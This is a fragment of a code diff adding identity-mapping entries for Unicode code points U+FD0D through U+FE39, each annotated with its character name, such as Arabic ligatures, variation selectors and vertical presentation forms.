+ ["\uFD0D", "\uFD0D"], /* ARABIC LIGATURE SHEEN WITH REH ISOLATED FORM */
+ ["\uFD0E", "\uFD0E"], /* ARABIC LIGATURE SEEN WITH REH ISOLATED FORM */
+ ["\uFD0F", "\uFD0F"], /* ARABIC LIGATURE SAD WITH REH ISOLATED FORM */
+ ["\uFD10", "\uFD10"], /* ARABIC LIGATURE DAD WITH REH ISOLATED FORM */
+ ["\uFD11", "\uFD11"], /* ARABIC LIGATURE TAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD12", "\uFD12"], /* ARABIC LIGATURE TAH WITH YEH FINAL FORM */
+ ["\uFD13", "\uFD13"], /* ARABIC LIGATURE AIN WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD14", "\uFD14"], /* ARABIC LIGATURE AIN WITH YEH FINAL FORM */
+ ["\uFD15", "\uFD15"], /* ARABIC LIGATURE GHAIN WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD16", "\uFD16"], /* ARABIC LIGATURE GHAIN WITH YEH FINAL FORM */
+ ["\uFD17", "\uFD17"], /* ARABIC LIGATURE SEEN WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD18", "\uFD18"], /* ARABIC LIGATURE SEEN WITH YEH FINAL FORM */
+ ["\uFD19", "\uFD19"], /* ARABIC LIGATURE SHEEN WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD1A", "\uFD1A"], /* ARABIC LIGATURE SHEEN WITH YEH FINAL FORM */
+ ["\uFD1B", "\uFD1B"], /* ARABIC LIGATURE HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD1C", "\uFD1C"], /* ARABIC LIGATURE HAH WITH YEH FINAL FORM */
+ ["\uFD1D", "\uFD1D"], /* ARABIC LIGATURE JEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD1E", "\uFD1E"], /* ARABIC LIGATURE JEEM WITH YEH FINAL FORM */
+ ["\uFD1F", "\uFD1F"], /* ARABIC LIGATURE KHAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD20", "\uFD20"], /* ARABIC LIGATURE KHAH WITH YEH FINAL FORM */
+ ["\uFD21", "\uFD21"], /* ARABIC LIGATURE SAD WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD22", "\uFD22"], /* ARABIC LIGATURE SAD WITH YEH FINAL FORM */
+ ["\uFD23", "\uFD23"], /* ARABIC LIGATURE DAD WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD24", "\uFD24"], /* ARABIC LIGATURE DAD WITH YEH FINAL FORM */
+ ["\uFD25", "\uFD25"], /* ARABIC LIGATURE SHEEN WITH JEEM FINAL FORM */
+ ["\uFD26", "\uFD26"], /* ARABIC LIGATURE SHEEN WITH HAH FINAL FORM */
+ ["\uFD27", "\uFD27"], /* ARABIC LIGATURE SHEEN WITH KHAH FINAL FORM */
+ ["\uFD28", "\uFD28"], /* ARABIC LIGATURE SHEEN WITH MEEM FINAL FORM */
+ ["\uFD29", "\uFD29"], /* ARABIC LIGATURE SHEEN WITH REH FINAL FORM */
+ ["\uFD2A", "\uFD2A"], /* ARABIC LIGATURE SEEN WITH REH FINAL FORM */
+ ["\uFD2B", "\uFD2B"], /* ARABIC LIGATURE SAD WITH REH FINAL FORM */
+ ["\uFD2C", "\uFD2C"], /* ARABIC LIGATURE DAD WITH REH FINAL FORM */
+ ["\uFD2D", "\uFD2D"], /* ARABIC LIGATURE SHEEN WITH JEEM INITIAL FORM */
+ ["\uFD2E", "\uFD2E"], /* ARABIC LIGATURE SHEEN WITH HAH INITIAL FORM */
+ ["\uFD2F", "\uFD2F"], /* ARABIC LIGATURE SHEEN WITH KHAH INITIAL FORM */
+ ["\uFD30", "\uFD30"], /* ARABIC LIGATURE SHEEN WITH MEEM INITIAL FORM */
+ ["\uFD31", "\uFD31"], /* ARABIC LIGATURE SEEN WITH HEH INITIAL FORM */
+ ["\uFD32", "\uFD32"], /* ARABIC LIGATURE SHEEN WITH HEH INITIAL FORM */
+ ["\uFD33", "\uFD33"], /* ARABIC LIGATURE TAH WITH MEEM INITIAL FORM */
+ ["\uFD34", "\uFD34"], /* ARABIC LIGATURE SEEN WITH JEEM MEDIAL FORM */
+ ["\uFD35", "\uFD35"], /* ARABIC LIGATURE SEEN WITH HAH MEDIAL FORM */
+ ["\uFD36", "\uFD36"], /* ARABIC LIGATURE SEEN WITH KHAH MEDIAL FORM */
+ ["\uFD37", "\uFD37"], /* ARABIC LIGATURE SHEEN WITH JEEM MEDIAL FORM */
+ ["\uFD38", "\uFD38"], /* ARABIC LIGATURE SHEEN WITH HAH MEDIAL FORM */
+ ["\uFD39", "\uFD39"], /* ARABIC LIGATURE SHEEN WITH KHAH MEDIAL FORM */
+ ["\uFD3A", "\uFD3A"], /* ARABIC LIGATURE TAH WITH MEEM MEDIAL FORM */
+ ["\uFD3B", "\uFD3B"], /* ARABIC LIGATURE ZAH WITH MEEM MEDIAL FORM */
+ ["\uFD3C", "\uFD3C"], /* ARABIC LIGATURE ALEF WITH FATHATAN FINAL FORM */
+ ["\uFD3D", "\uFD3D"], /* ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM */
+ ["\uFD3E", "\uFD3E"], /* ORNATE LEFT PARENTHESIS */
+ ["\uFD3F", "\uFD3F"], /* ORNATE RIGHT PARENTHESIS */
+ ["\uFD40", "\uFD40"], /* ARABIC LIGATURE RAHIMAHU ALLAAH */
+ ["\uFD41", "\uFD41"], /* ARABIC LIGATURE RADI ALLAAHU ANH */
+ ["\uFD42", "\uFD42"], /* ARABIC LIGATURE RADI ALLAAHU ANHAA */
+ ["\uFD43", "\uFD43"], /* ARABIC LIGATURE RADI ALLAAHU ANHUM */
+ ["\uFD44", "\uFD44"], /* ARABIC LIGATURE RADI ALLAAHU ANHUMAA */
+ ["\uFD45", "\uFD45"], /* ARABIC LIGATURE RADI ALLAAHU ANHUNNA */
+ ["\uFD46", "\uFD46"], /* ARABIC LIGATURE SALLALLAAHU ALAYHI WA-AALIH */
+ ["\uFD47", "\uFD47"], /* ARABIC LIGATURE ALAYHI AS-SALAAM */
+ ["\uFD48", "\uFD48"], /* ARABIC LIGATURE ALAYHIM AS-SALAAM */
+ ["\uFD49", "\uFD49"], /* ARABIC LIGATURE ALAYHIMAA AS-SALAAM */
+ ["\uFD4A", "\uFD4A"], /* ARABIC LIGATURE ALAYHI AS-SALAATU WAS-SALAAM */
+ ["\uFD4B", "\uFD4B"], /* ARABIC LIGATURE QUDDISA SIRRAH */
+ ["\uFD4C", "\uFD4C"], /* ARABIC LIGATURE SALLALLAHU ALAYHI WAAALIHEE WA-SALLAM */
+ ["\uFD4D", "\uFD4D"], /* ARABIC LIGATURE ALAYHAA AS-SALAAM */
+ ["\uFD4E", "\uFD4E"], /* ARABIC LIGATURE TABAARAKA WA-TAAALAA */
+ ["\uFD4F", "\uFD4F"], /* ARABIC LIGATURE RAHIMAHUM ALLAAH */
+ ["\uFD50", "\uFD50"], /* ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFD51", "\uFD51"], /* ARABIC LIGATURE TEH WITH HAH WITH JEEM FINAL FORM */
+ ["\uFD52", "\uFD52"], /* ARABIC LIGATURE TEH WITH HAH WITH JEEM INITIAL FORM */
+ ["\uFD53", "\uFD53"], /* ARABIC LIGATURE TEH WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFD54", "\uFD54"], /* ARABIC LIGATURE TEH WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD55", "\uFD55"], /* ARABIC LIGATURE TEH WITH MEEM WITH JEEM INITIAL FORM */
+ ["\uFD56", "\uFD56"], /* ARABIC LIGATURE TEH WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD57", "\uFD57"], /* ARABIC LIGATURE TEH WITH MEEM WITH KHAH INITIAL FORM */
+ ["\uFD58", "\uFD58"], /* ARABIC LIGATURE JEEM WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD59", "\uFD59"], /* ARABIC LIGATURE JEEM WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD5A", "\uFD5A"], /* ARABIC LIGATURE HAH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFD5B", "\uFD5B"], /* ARABIC LIGATURE HAH WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD5C", "\uFD5C"], /* ARABIC LIGATURE SEEN WITH HAH WITH JEEM INITIAL FORM */
+ ["\uFD5D", "\uFD5D"], /* ARABIC LIGATURE SEEN WITH JEEM WITH HAH INITIAL FORM */
+ ["\uFD5E", "\uFD5E"], /* ARABIC LIGATURE SEEN WITH JEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD5F", "\uFD5F"], /* ARABIC LIGATURE SEEN WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD60", "\uFD60"], /* ARABIC LIGATURE SEEN WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD61", "\uFD61"], /* ARABIC LIGATURE SEEN WITH MEEM WITH JEEM INITIAL FORM */
+ ["\uFD62", "\uFD62"], /* ARABIC LIGATURE SEEN WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD63", "\uFD63"], /* ARABIC LIGATURE SEEN WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD64", "\uFD64"], /* ARABIC LIGATURE SAD WITH HAH WITH HAH FINAL FORM */
+ ["\uFD65", "\uFD65"], /* ARABIC LIGATURE SAD WITH HAH WITH HAH INITIAL FORM */
+ ["\uFD66", "\uFD66"], /* ARABIC LIGATURE SAD WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD67", "\uFD67"], /* ARABIC LIGATURE SHEEN WITH HAH WITH MEEM FINAL FORM */
+ ["\uFD68", "\uFD68"], /* ARABIC LIGATURE SHEEN WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFD69", "\uFD69"], /* ARABIC LIGATURE SHEEN WITH JEEM WITH YEH FINAL FORM */
+ ["\uFD6A", "\uFD6A"], /* ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH FINAL FORM */
+ ["\uFD6B", "\uFD6B"], /* ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH INITIAL FORM */
+ ["\uFD6C", "\uFD6C"], /* ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD6D", "\uFD6D"], /* ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD6E", "\uFD6E"], /* ARABIC LIGATURE DAD WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD6F", "\uFD6F"], /* ARABIC LIGATURE DAD WITH KHAH WITH MEEM FINAL FORM */
+ ["\uFD70", "\uFD70"], /* ARABIC LIGATURE DAD WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD71", "\uFD71"], /* ARABIC LIGATURE TAH WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD72", "\uFD72"], /* ARABIC LIGATURE TAH WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD73", "\uFD73"], /* ARABIC LIGATURE TAH WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD74", "\uFD74"], /* ARABIC LIGATURE TAH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFD75", "\uFD75"], /* ARABIC LIGATURE AIN WITH JEEM WITH MEEM FINAL FORM */
+ ["\uFD76", "\uFD76"], /* ARABIC LIGATURE AIN WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD77", "\uFD77"], /* ARABIC LIGATURE AIN WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD78", "\uFD78"], /* ARABIC LIGATURE AIN WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD79", "\uFD79"], /* ARABIC LIGATURE GHAIN WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD7A", "\uFD7A"], /* ARABIC LIGATURE GHAIN WITH MEEM WITH YEH FINAL FORM */
+ ["\uFD7B", "\uFD7B"], /* ARABIC LIGATURE GHAIN WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD7C", "\uFD7C"], /* ARABIC LIGATURE FEH WITH KHAH WITH MEEM FINAL FORM */
+ ["\uFD7D", "\uFD7D"], /* ARABIC LIGATURE FEH WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD7E", "\uFD7E"], /* ARABIC LIGATURE QAF WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD7F", "\uFD7F"], /* ARABIC LIGATURE QAF WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD80", "\uFD80"], /* ARABIC LIGATURE LAM WITH HAH WITH MEEM FINAL FORM */
+ ["\uFD81", "\uFD81"], /* ARABIC LIGATURE LAM WITH HAH WITH YEH FINAL FORM */
+ ["\uFD82", "\uFD82"], /* ARABIC LIGATURE LAM WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD83", "\uFD83"], /* ARABIC LIGATURE LAM WITH JEEM WITH JEEM INITIAL FORM */
+ ["\uFD84", "\uFD84"], /* ARABIC LIGATURE LAM WITH JEEM WITH JEEM FINAL FORM */
+ ["\uFD85", "\uFD85"], /* ARABIC LIGATURE LAM WITH KHAH WITH MEEM FINAL FORM */
+ ["\uFD86", "\uFD86"], /* ARABIC LIGATURE LAM WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD87", "\uFD87"], /* ARABIC LIGATURE LAM WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD88", "\uFD88"], /* ARABIC LIGATURE LAM WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD89", "\uFD89"], /* ARABIC LIGATURE MEEM WITH HAH WITH JEEM INITIAL FORM */
+ ["\uFD8A", "\uFD8A"], /* ARABIC LIGATURE MEEM WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFD8B", "\uFD8B"], /* ARABIC LIGATURE MEEM WITH HAH WITH YEH FINAL FORM */
+ ["\uFD8C", "\uFD8C"], /* ARABIC LIGATURE MEEM WITH JEEM WITH HAH INITIAL FORM */
+ ["\uFD8D", "\uFD8D"], /* ARABIC LIGATURE MEEM WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFD8E", "\uFD8E"], /* ARABIC LIGATURE MEEM WITH KHAH WITH JEEM INITIAL FORM */
+ ["\uFD8F", "\uFD8F"], /* ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD90", "\uFD90"],
+ ["\uFD91", "\uFD91"],
+ ["\uFD92", "\uFD92"], /* ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM */
+ ["\uFD93", "\uFD93"], /* ARABIC LIGATURE HEH WITH MEEM WITH JEEM INITIAL FORM */
+ ["\uFD94", "\uFD94"], /* ARABIC LIGATURE HEH WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD95", "\uFD95"], /* ARABIC LIGATURE NOON WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFD96", "\uFD96"], /* ARABIC LIGATURE NOON WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD97", "\uFD97"], /* ARABIC LIGATURE NOON WITH JEEM WITH MEEM FINAL FORM */
+ ["\uFD98", "\uFD98"], /* ARABIC LIGATURE NOON WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFD99", "\uFD99"], /* ARABIC LIGATURE NOON WITH JEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD9A", "\uFD9A"], /* ARABIC LIGATURE NOON WITH MEEM WITH YEH FINAL FORM */
+ ["\uFD9B", "\uFD9B"], /* ARABIC LIGATURE NOON WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD9C", "\uFD9C"], /* ARABIC LIGATURE YEH WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD9D", "\uFD9D"], /* ARABIC LIGATURE YEH WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD9E", "\uFD9E"], /* ARABIC LIGATURE BEH WITH KHAH WITH YEH FINAL FORM */
+ ["\uFD9F", "\uFD9F"], /* ARABIC LIGATURE TEH WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDA0", "\uFDA0"], /* ARABIC LIGATURE TEH WITH JEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA1", "\uFDA1"], /* ARABIC LIGATURE TEH WITH KHAH WITH YEH FINAL FORM */
+ ["\uFDA2", "\uFDA2"], /* ARABIC LIGATURE TEH WITH KHAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA3", "\uFDA3"], /* ARABIC LIGATURE TEH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDA4", "\uFDA4"], /* ARABIC LIGATURE TEH WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA5", "\uFDA5"], /* ARABIC LIGATURE JEEM WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDA6", "\uFDA6"], /* ARABIC LIGATURE JEEM WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA7", "\uFDA7"], /* ARABIC LIGATURE JEEM WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA8", "\uFDA8"], /* ARABIC LIGATURE SEEN WITH KHAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA9", "\uFDA9"], /* ARABIC LIGATURE SAD WITH HAH WITH YEH FINAL FORM */
+ ["\uFDAA", "\uFDAA"], /* ARABIC LIGATURE SHEEN WITH HAH WITH YEH FINAL FORM */
+ ["\uFDAB", "\uFDAB"], /* ARABIC LIGATURE DAD WITH HAH WITH YEH FINAL FORM */
+ ["\uFDAC", "\uFDAC"], /* ARABIC LIGATURE LAM WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDAD", "\uFDAD"], /* ARABIC LIGATURE LAM WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDAE", "\uFDAE"], /* ARABIC LIGATURE YEH WITH HAH WITH YEH FINAL FORM */
+ ["\uFDAF", "\uFDAF"], /* ARABIC LIGATURE YEH WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDB0", "\uFDB0"], /* ARABIC LIGATURE YEH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB1", "\uFDB1"], /* ARABIC LIGATURE MEEM WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB2", "\uFDB2"], /* ARABIC LIGATURE QAF WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB3", "\uFDB3"], /* ARABIC LIGATURE NOON WITH HAH WITH YEH FINAL FORM */
+ ["\uFDB4", "\uFDB4"], /* ARABIC LIGATURE QAF WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFDB5", "\uFDB5"], /* ARABIC LIGATURE LAM WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFDB6", "\uFDB6"], /* ARABIC LIGATURE AIN WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB7", "\uFDB7"], /* ARABIC LIGATURE KAF WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB8", "\uFDB8"], /* ARABIC LIGATURE NOON WITH JEEM WITH HAH INITIAL FORM */
+ ["\uFDB9", "\uFDB9"], /* ARABIC LIGATURE MEEM WITH KHAH WITH YEH FINAL FORM */
+ ["\uFDBA", "\uFDBA"], /* ARABIC LIGATURE LAM WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFDBB", "\uFDBB"], /* ARABIC LIGATURE KAF WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFDBC", "\uFDBC"], /* ARABIC LIGATURE LAM WITH JEEM WITH MEEM FINAL FORM */
+ ["\uFDBD", "\uFDBD"], /* ARABIC LIGATURE NOON WITH JEEM WITH HAH FINAL FORM */
+ ["\uFDBE", "\uFDBE"], /* ARABIC LIGATURE JEEM WITH HAH WITH YEH FINAL FORM */
+ ["\uFDBF", "\uFDBF"], /* ARABIC LIGATURE HAH WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDC0", "\uFDC0"], /* ARABIC LIGATURE MEEM WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDC1", "\uFDC1"], /* ARABIC LIGATURE FEH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDC2", "\uFDC2"], /* ARABIC LIGATURE BEH WITH HAH WITH YEH FINAL FORM */
+ ["\uFDC3", "\uFDC3"], /* ARABIC LIGATURE KAF WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFDC4", "\uFDC4"], /* ARABIC LIGATURE AIN WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFDC5", "\uFDC5"], /* ARABIC LIGATURE SAD WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFDC6", "\uFDC6"], /* ARABIC LIGATURE SEEN WITH KHAH WITH YEH FINAL FORM */
+ ["\uFDC7", "\uFDC7"], /* ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDC8", "\uFDC8"],
+ ["\uFDC9", "\uFDC9"],
+ ["\uFDCA", "\uFDCA"],
+ ["\uFDCB", "\uFDCB"],
+ ["\uFDCC", "\uFDCC"],
+ ["\uFDCD", "\uFDCD"],
+ ["\uFDCE", "\uFDCE"],
+ ["\uFDCF", "\uFDCF"], /* ARABIC LIGATURE SALAAMUHU ALAYNAA */
+ ["\uFDD0", "\uFDD0"],
+ ["\uFDD1", "\uFDD1"],
+ ["\uFDD2", "\uFDD2"],
+ ["\uFDD3", "\uFDD3"],
+ ["\uFDD4", "\uFDD4"],
+ ["\uFDD5", "\uFDD5"],
+ ["\uFDD6", "\uFDD6"],
+ ["\uFDD7", "\uFDD7"],
+ ["\uFDD8", "\uFDD8"],
+ ["\uFDD9", "\uFDD9"],
+ ["\uFDDA", "\uFDDA"],
+ ["\uFDDB", "\uFDDB"],
+ ["\uFDDC", "\uFDDC"],
+ ["\uFDDD", "\uFDDD"],
+ ["\uFDDE", "\uFDDE"],
+ ["\uFDDF", "\uFDDF"],
+ ["\uFDE0", "\uFDE0"],
+ ["\uFDE1", "\uFDE1"],
+ ["\uFDE2", "\uFDE2"],
+ ["\uFDE3", "\uFDE3"],
+ ["\uFDE4", "\uFDE4"],
+ ["\uFDE5", "\uFDE5"],
+ ["\uFDE6", "\uFDE6"],
+ ["\uFDE7", "\uFDE7"],
+ ["\uFDE8", "\uFDE8"],
+ ["\uFDE9", "\uFDE9"],
+ ["\uFDEA", "\uFDEA"],
+ ["\uFDEB", "\uFDEB"],
+ ["\uFDEC", "\uFDEC"],
+ ["\uFDED", "\uFDED"],
+ ["\uFDEE", "\uFDEE"],
+ ["\uFDEF", "\uFDEF"],
+ ["\uFDF0", "\uFDF0"], /* ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM */
+ ["\uFDF1", "\uFDF1"], /* ARABIC LIGATURE QALA USED AS KORANIC STOP SIGN ISOLATED FORM */
+ ["\uFDF2", "\uFDF2"], /* ARABIC LIGATURE ALLAH ISOLATED FORM */
+ ["\uFDF3", "\uFDF3"], /* ARABIC LIGATURE AKBAR ISOLATED FORM */
+ ["\uFDF4", "\uFDF4"], /* ARABIC LIGATURE MOHAMMAD ISOLATED FORM */
+ ["\uFDF5", "\uFDF5"], /* ARABIC LIGATURE SALAM ISOLATED FORM */
+ ["\uFDF6", "\uFDF6"], /* ARABIC LIGATURE RASOUL ISOLATED FORM */
+ ["\uFDF7", "\uFDF7"], /* ARABIC LIGATURE ALAYHE ISOLATED FORM */
+ ["\uFDF8", "\uFDF8"], /* ARABIC LIGATURE WASALLAM ISOLATED FORM */
+ ["\uFDF9", "\uFDF9"], /* ARABIC LIGATURE SALLA ISOLATED FORM */
+ ["\uFDFA", "\uFDFA"], /* ARABIC LIGATURE SALLALLAHOU ALAYHE WASALLAM (ARABIC LETTER SALLALLAHOU ALAYHE WASALLAM) */
+ ["\uFDFB", "\uFDFB"], /* ARABIC LIGATURE JALLAJALALOUHOU (ARABIC LETTER JALLAJALALOUHOU) */
+ ["\uFDFC", "\uFDFC"], /* RIAL SIGN */
+ ["\uFDFD", "\uFDFD"], /* ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM */
+ ["\uFDFE", "\uFDFE"], /* ARABIC LIGATURE SUBHAANAHU WA TAAALAA */
+ ["\uFDFF", "\uFDFF"], /* ARABIC LIGATURE AZZA WA JALL */
+ ["\uFE00", "\uFE00"], /* VARIATION SELECTOR-1 */
+ ["\uFE01", "\uFE01"], /* VARIATION SELECTOR-2 */
+ ["\uFE02", "\uFE02"], /* VARIATION SELECTOR-3 */
+ ["\uFE03", "\uFE03"], /* VARIATION SELECTOR-4 */
+ ["\uFE04", "\uFE04"], /* VARIATION SELECTOR-5 */
+ ["\uFE05", "\uFE05"], /* VARIATION SELECTOR-6 */
+ ["\uFE06", "\uFE06"], /* VARIATION SELECTOR-7 */
+ ["\uFE07", "\uFE07"], /* VARIATION SELECTOR-8 */
+ ["\uFE08", "\uFE08"], /* VARIATION SELECTOR-9 */
+ ["\uFE09", "\uFE09"], /* VARIATION SELECTOR-10 */
+ ["\uFE0A", "\uFE0A"], /* VARIATION SELECTOR-11 */
+ ["\uFE0B", "\uFE0B"], /* VARIATION SELECTOR-12 */
+ ["\uFE0C", "\uFE0C"], /* VARIATION SELECTOR-13 */
+ ["\uFE0D", "\uFE0D"], /* VARIATION SELECTOR-14 */
+ ["\uFE0E", "\uFE0E"], /* VARIATION SELECTOR-15 */
+ ["\uFE0F", "\uFE0F"], /* VARIATION SELECTOR-16 */
+ ["\uFE10", "\uFE10"], /* PRESENTATION FORM FOR VERTICAL COMMA */
+ ["\uFE11", "\uFE11"], /* PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC COMMA */
+ ["\uFE12", "\uFE12"], /* PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC FULL STOP */
+ ["\uFE13", "\uFE13"], /* PRESENTATION FORM FOR VERTICAL COLON */
+ ["\uFE14", "\uFE14"], /* PRESENTATION FORM FOR VERTICAL SEMICOLON */
+ ["\uFE15", "\uFE15"], /* PRESENTATION FORM FOR VERTICAL EXCLAMATION MARK */
+ ["\uFE16", "\uFE16"], /* PRESENTATION FORM FOR VERTICAL QUESTION MARK */
+ ["\uFE17", "\uFE17"], /* PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET */
+ ["\uFE18", "\uFE18"], /* PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET */
+ ["\uFE19", "\uFE19"], /* PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS */
+ ["\uFE1A", "\uFE1A"],
+ ["\uFE1B", "\uFE1B"],
+ ["\uFE1C", "\uFE1C"],
+ ["\uFE1D", "\uFE1D"],
+ ["\uFE1E", "\uFE1E"],
+ ["\uFE1F", "\uFE1F"],
+ ["\uFE20", "\uFE20"], /* COMBINING LIGATURE LEFT HALF */
+ ["\uFE21", "\uFE21"], /* COMBINING LIGATURE RIGHT HALF */
+ ["\uFE22", "\uFE22"], /* COMBINING DOUBLE TILDE LEFT HALF */
+ ["\uFE23", "\uFE23"], /* COMBINING DOUBLE TILDE RIGHT HALF */
+ ["\uFE24", "\uFE24"], /* COMBINING MACRON LEFT HALF */
+ ["\uFE25", "\uFE25"], /* COMBINING MACRON RIGHT HALF */
+ ["\uFE26", "\uFE26"], /* COMBINING CONJOINING MACRON */
+ ["\uFE27", "\uFE27"], /* COMBINING LIGATURE LEFT HALF BELOW */
+ ["\uFE28", "\uFE28"], /* COMBINING LIGATURE RIGHT HALF BELOW */
+ ["\uFE29", "\uFE29"], /* COMBINING TILDE LEFT HALF BELOW */
+ ["\uFE2A", "\uFE2A"], /* COMBINING TILDE RIGHT HALF BELOW */
+ ["\uFE2B", "\uFE2B"], /* COMBINING MACRON LEFT HALF BELOW */
+ ["\uFE2C", "\uFE2C"], /* COMBINING MACRON RIGHT HALF BELOW */
+ ["\uFE2D", "\uFE2D"], /* COMBINING CONJOINING MACRON BELOW */
+ ["\uFE2E", "\uFE2E"], /* COMBINING CYRILLIC TITLO LEFT HALF */
+ ["\uFE2F", "\uFE2F"], /* COMBINING CYRILLIC TITLO RIGHT HALF */
+ ["\uFE30", "\uFE30"], /* PRESENTATION FORM FOR VERTICAL TWO DOT LEADER (GLYPH FOR VERTICAL TWO DOT LEADER) */
+ ["\uFE31", "\uFE31"], /* PRESENTATION FORM FOR VERTICAL EM DASH (GLYPH FOR VERTICAL EM DASH) */
+ ["\uFE32", "\uFE32"], /* PRESENTATION FORM FOR VERTICAL EN DASH (GLYPH FOR VERTICAL EN DASH) */
+ ["\uFE33", "\uFE33"], /* PRESENTATION FORM FOR VERTICAL LOW LINE (GLYPH FOR VERTICAL SPACING UNDERSCORE) */
+ ["\uFE34", "\uFE34"], /* PRESENTATION FORM FOR VERTICAL WAVY LOW LINE (GLYPH FOR VERTICAL SPACING WAVY UNDERSCORE) */
+ ["\uFE35", "\uFE35"], /* PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS (GLYPH FOR VERTICAL OPENING PARENTHESIS) */
+ ["\uFE36", "\uFE36"], /* PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS (GLYPH FOR VERTICAL CLOSING PARENTHESIS) */
+ ["\uFE37", "\uFE37"], /* PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET (GLYPH FOR VERTICAL OPENING CURLY BRACKET) */
+ ["\uFE38", "\uFE38"], /* PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET (GLYPH FOR VERTICAL CLOSING CURLY BRACKET) */
+ ["\uFE39", "\uFE39"], /* PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET (GLYPH FOR VERTICAL OPENING TORTOISE SHELL BRACKET) */
